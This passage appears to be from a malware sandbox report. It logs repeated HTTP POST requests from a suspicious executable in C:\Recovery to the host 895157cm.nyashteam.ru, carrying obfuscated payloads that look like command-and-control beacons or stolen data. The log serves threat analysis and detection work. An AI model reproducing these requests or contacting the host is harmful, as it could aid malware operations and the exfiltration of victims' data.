0c 54 22 2a 3c 0d 2c 57 3f 0b 3b 39 23 1b 32 0e 2f 52 25 2e 2e 53 0c 16 22 59 3e 04 31 5b 27 3c 2a 0a 33 19 04 1c 22 35 20 51 21 16 34 50 33 05 2e 5b 24 58 2c 57 3f 56 3a 0d 2b 01 22 45 28 5c 21 51 29 2b 26 55 2e 01 22 53 04 3d 5a 50 0d 0a 30 0d 0a 0d 0a Data Ascii: 98:09)$(<>(\/-_$#4;<"+#-Y<'?Q7>8.X$Y")+_)8-8%#$:1%T"<,W?;9#2/R%..S"Y>1['<*3"5 Q!4P3.[$X,W?V:+"E(\!Q)+&U."S=ZP0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49801	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:08:15.892113924 CET	303	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2292 Expect: 100-continue Connection: Keep-Alive
Dec 21, 2024 11:08:16.244092941 CET	2292	OUT	Data Raw: 59 53 43 5f 5a 5c 50 52 54 5d 59 5a 55 51 57 51 56 50 5c 58 52 50 5b 5c 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: YSC_Z\PRT]YZUQWQVP\XRP[\YRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\">=</8>.E+,5]2+:(+.?3?((Y6++%'[$.Y!
Dec 21, 2024 11:08:16.976660967 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:08:17.214211941 CET	808	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:08:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8I%2FcdRpm5Wq5clnqjNnjf97qrSlCBXsuErFmB4ZfHeubI34dlqQ6TkPfwGDDRO51yk3R2z%2B%2BLG266xdrQQRgew9EdEl5RBwPtg6lH6zJsYNPXHBEmy81mMUoUxN6xgjcQzvW3oPY21E%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5711e91e3cc3f3-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=2828&min_rtt=1463&rtt_var=3280&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2595&delivery_rate=117846&cwnd=189&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3d 5b 40 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=[@W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49807	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:08:17.454236984 CET	279	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2292 Expect: 100-continue
Dec 21, 2024 11:08:17.806617022 CET	2292	OUT	Data Raw: 5c 5e 43 5f 5a 5f 50 53 54 5d 59 5a 55 5c 57 5e 56 5b 5c 58 52 54 5b 58 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: \^C_Z_PST]YZU\W^V[\XRT[XYRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\!@).)?,>.;<,=$+5P><.V*33(("7W2-'[$.Y!3
Dec 21, 2024 11:08:18.547142982 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:08:18.779591084 CET	814	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:08:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wyiWG5Dgh7qJVPGwd0orLkUbDn1xSRRU13aKAg5E2TX4z02bz%2B5dEMy%2Bwypi3Ssqd%2FrI7L0i1Vv8LacFLycXQ%2Bwq7gHZH%2Bd4ByQI1wNZdQJUMmhZ9DLL%2Fy9lZuT9hPYhfmz1b3jsv5w%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5711f2ee2b43cf-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=11106&min_rtt=8783&rtt_var=7940&sent=3&recv=7&lost=0&retrans=0&sent_bytes=25&recv_bytes=2571&delivery_rate=53345&cwnd=178&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3d 5b 40 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=[@W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49812	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:08:19.033169985 CET	303	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2288 Expect: 100-continue Connection: Keep-Alive
Dec 21, 2024 11:08:19.384728909 CET	2288	OUT	Data Raw: 5c 59 46 5f 5f 5d 55 5e 54 5d 59 5a 55 58 57 51 56 5a 5c 55 52 55 5b 56 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: \YF__]U^T]YZUXWQVZ\URU[VYRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\")<Z S<;?=$;=P>9/Z(="*0$V+;,X6(<%'[$.Y!
Dec 21, 2024 11:08:20.121035099 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:08:20.358177900 CET	808	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:08:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9yAnbAtyqAcxpqFE3gwc%2BxScMohERnX3h1BS2kUQEdjRFIWUORWUy%2FEchqeoB9Y717B0dOW25WoISc7MvDXty2YdbekyDjoop%2BkB3MfyXdzkNtBSai62QccsBCAn2QsI0flI133Yk0Q%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5711fccb428c0b-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=8858&min_rtt=2114&rtt_var=14280&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2591&delivery_rate=26040&cwnd=209&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3d 5b 40 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=[@W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49814	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:08:20.596491098 CET	303	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2292 Expect: 100-continue Connection: Keep-Alive
Dec 21, 2024 11:08:20.947243929 CET	2292	OUT	Data Raw: 59 5b 46 59 5a 5d 55 5a 54 5d 59 5a 55 5b 57 56 56 59 5c 55 52 54 5b 5f 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: Y[FYZ]UZT]YZU[WVVY\URT[_YRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\!>=->,,U<-?@),[$8V*3(!W+0#?_"(S%'[$.Y!/
Dec 21, 2024 11:08:21.682775021 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:08:21.917479992 CET	809	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:08:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=r1UgVmrN9L%2Fziby8YhcYoBU%2Fzyf8hTEF9aGcOi5Nnbiqy7K9n3gQ35%2Fj3QWgkxzLGl1beeCnKvtctpnS2nLxHNc9E%2Fj4LvzsiAHMJ2L4ghIVvaUKNWtCgjSqyfEXVHVAKaGlFDW32bE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f57120688ccc40c-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=4444&min_rtt=1495&rtt_var=6458&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2595&delivery_rate=58197&cwnd=220&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3d 5b 40 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=[@W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49821	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:08:22.224522114 CET	303	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 1708 Expect: 100-continue Connection: Keep-Alive
Dec 21, 2024 11:08:22.572388887 CET	1708	OUT	Data Raw: 59 58 43 5e 5f 5e 50 52 54 5d 59 5a 55 5f 57 50 56 5a 5c 5d 52 54 5b 57 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: YXC^_^PRT]YZU_WPVZ\]RT[WYRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\!)-"<0W(X0<!$;">?V+V,?8;6+''='[$.Y!
Dec 21, 2024 11:08:23.310820103 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:08:23.549455881 CET	956	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:08:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AMee4C2M7mYule%2BfUiCgRMfWvZTfulQvcINLgd09e%2BAhWHxjNVDHfgWrqE37l6IiPjiYdD57j9I1dbbnxBlLdlZMK5YlYYgkcjVbrG9z0xo7XRoZoLCOWmQ3bxhT6XGo4Wyl9Nt%2FPZY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f571210aa3d41af-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=4795&min_rtt=2212&rtt_var=5996&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2011&delivery_rate=63808&cwnd=223&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 0f 13 39 12 27 38 2e 12 3d 07 38 07 3f 12 36 0f 3f 3c 0c 1b 38 0c 2d 5c 24 1d 34 59 3b 2f 2a 08 3c 20 2d 5f 3f 03 3b 0f 28 34 37 5a 2a 38 2e 58 03 11 24 12 22 3a 2b 10 28 3b 2a 0e 2d 16 2d 16 23 2e 27 5c 2d 16 36 0d 26 2e 04 55 21 3a 30 08 2c 0f 0e 52 2f 00 23 5f 25 24 2c 0d 26 14 2e 53 0c 16 22 1f 3d 3d 0c 05 26 11 25 1d 30 09 0c 1c 20 26 06 52 21 16 24 50 33 3f 32 5f 33 3e 0d 0f 3f 1e 3e 0c 2a 2f 08 40 3e 2a 25 50 29 2b 26 55 2e 01 22 53 04 3d 5a 50 0d 0a 30 0d 0a 0d 0a Data Ascii: 989'8.=8?6?<8-\$4Y;/< -_?;(47Z8.X$":+(;--#.'\-6&.U!:0,R/#_%$,&.S"==&%0 &R!$P3?2_3>?>/@>*%P)+&U."S=ZP0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49822	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:08:22.467664003 CET	303	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2292 Expect: 100-continue Connection: Keep-Alive
Dec 21, 2024 11:08:22.822309971 CET	2292	OUT	Data Raw: 59 53 43 5a 5a 58 50 53 54 5d 59 5a 55 5e 57 51 56 5a 5c 5d 52 50 5b 5f 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: YSCZZXPST]YZU^WQVZ\]RP[_YRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\!C*.-><>-/B<<&">)<+9(0?+(58'='[$.Y!;
Dec 21, 2024 11:08:23.555078030 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:08:23.795411110 CET	810	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:08:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YiXlNwP3Jt1qX7pvOgYlivTCSQ0EOT3SyBe7h2eAt26A7TgWXLumOJMly41Yg5%2BJ1%2B0VFd9BM5JEgdvOiRuYq7LOVxe9XSt5v7wfVvM%2BlFpan7rYRpfGibxv%2BWCLzMrJycxNdtTIBjA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5712123c10c323-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=6870&min_rtt=1547&rtt_var=11227&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2595&delivery_rate=33078&cwnd=213&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3d 5b 40 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=[@W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49827	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:08:24.033363104 CET	279	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2292 Expect: 100-continue
Dec 21, 2024 11:08:24.384790897 CET	2292	OUT	Data Raw: 5c 58 46 5f 5a 58 50 58 54 5d 59 5a 55 5d 57 54 56 59 5c 59 52 57 5b 5f 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: \XF_ZXPXT]YZU]WTVY\YRW[_YRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\!>=6?$(X;+%]&5**(?=9P(#+((;"<1'[$.Y!7
Dec 21, 2024 11:08:25.119169950 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:08:25.354362965 CET	811	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:08:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iQAVuqTmTTB6qzyfSoUAM2zVfo%2FypNFDROr9DC0kQVmVUPBa8WIFGvIsB1Myq%2FLOPJ9yzq3cdM1Rb%2BnnxV8T5vEXswoaLsl2D7Hf8gfZyz4wcytQwy%2F7TVRPLBJXmoZNee01vZ%2Bkpo8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f57121bffdb4362-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=4649&min_rtt=1559&rtt_var=6766&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2571&delivery_rate=55547&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3d 5b 40 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=[@W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49833	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:08:25.593561888 CET	303	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2292 Expect: 100-continue Connection: Keep-Alive
Dec 21, 2024 11:08:25.949285030 CET	2292	OUT	Data Raw: 59 5a 46 5b 5a 5b 50 58 54 5d 59 5a 55 5b 57 50 56 5d 5c 55 52 5f 5b 58 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: YZF[Z[PXT]YZU[WPV]\UR_[XYRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\">="+#?=#B)?6%85*;[(>2(#?;!+$&'[$.Y!/
Dec 21, 2024 11:08:26.681387901 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:08:26.913891077 CET	806	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:08:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Hr7zBS0tQC2fMSzIIbN5YPf8uO4GZT9eNwo5eaLh3PcBbJk9aZNqu6MnV2PjlRYtqLcfcb0fBrBr1ExAqHWDdZVK%2FrwomgCmUFD1D6xwangsN07CWTm4O4Xp%2BoYZwrlY09S5AAwS5Dg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f571225c8e24249-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=6650&min_rtt=1612&rtt_var=10682&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2595&delivery_rate=34825&cwnd=229&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3d 5b 40 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=[@W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49835	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:08:27.155239105 CET	303	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2292 Expect: 100-continue Connection: Keep-Alive
Dec 21, 2024 11:08:27.509819984 CET	2292	OUT	Data Raw: 59 53 43 59 5a 5d 55 5f 54 5d 59 5a 55 5c 57 51 56 51 5c 54 52 52 5b 5b 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: YSCYZ]U_T]YZU\WQVQ\TRR[[YRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\!E>"](<?.<2%^=T=:^(-V3<T?8'5<'='[$.Y!3
Dec 21, 2024 11:08:28.240257025 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:08:28.473449945 CET	817	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:08:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lXsAdRFwUQuh4iRTjnRGbP2R91EZtdrpocMIrwDL%2BMGdGgx88DZYRRktvmW5UIlZ%2FoQadHF25hPKZoxKiJ3m0qt%2FWkOzhZ%2Fpb0e1RAVQ4%2BSuOHd%2F%2BrwDeWyI%2BGgZ551PQ2adAtAMwiM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f57122f7dc48cc3-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=3609&min_rtt=2004&rtt_var=3962&sent=3&recv=7&lost=0&retrans=0&sent_bytes=25&recv_bytes=2595&delivery_rate=98329&cwnd=223&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3d 5b 40 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=[@W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49842	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:08:28.718108892 CET	303	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2292 Expect: 100-continue Connection: Keep-Alive
Dec 21, 2024 11:08:29.072280884 CET	2292	OUT	Data Raw: 59 53 43 59 5a 57 50 58 54 5d 59 5a 55 59 57 55 56 5f 5c 58 52 54 5b 5f 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: YSCYZWPXT]YZUYWUV_\XRT[_YRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\!>.">?0+<<,1(6)0+.)(V0T<](_#+7U1'[$.Y!'
Dec 21, 2024 11:08:29.807137966 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:08:30.046811104 CET	812	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:08:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aWFICyGwb5FdHJR5ql%2BsTDRVUJIBG7t8DDG0L7mDlcUcA48kJFIyNyraOqE1L9WVR2uM14afKLfl1%2F9wznGXyfCaidxf%2FsO7OcBAjHo7cIQX6Oni1kfGvcA9N%2BMxIMbQP3q%2FLF76Nls%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5712394fc18c63-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=8929&min_rtt=2000&rtt_var=14608&sent=4&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2595&delivery_rate=25420&cwnd=225&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3d 5b 40 57 0d 0a 30 0d 0a 0d 0a 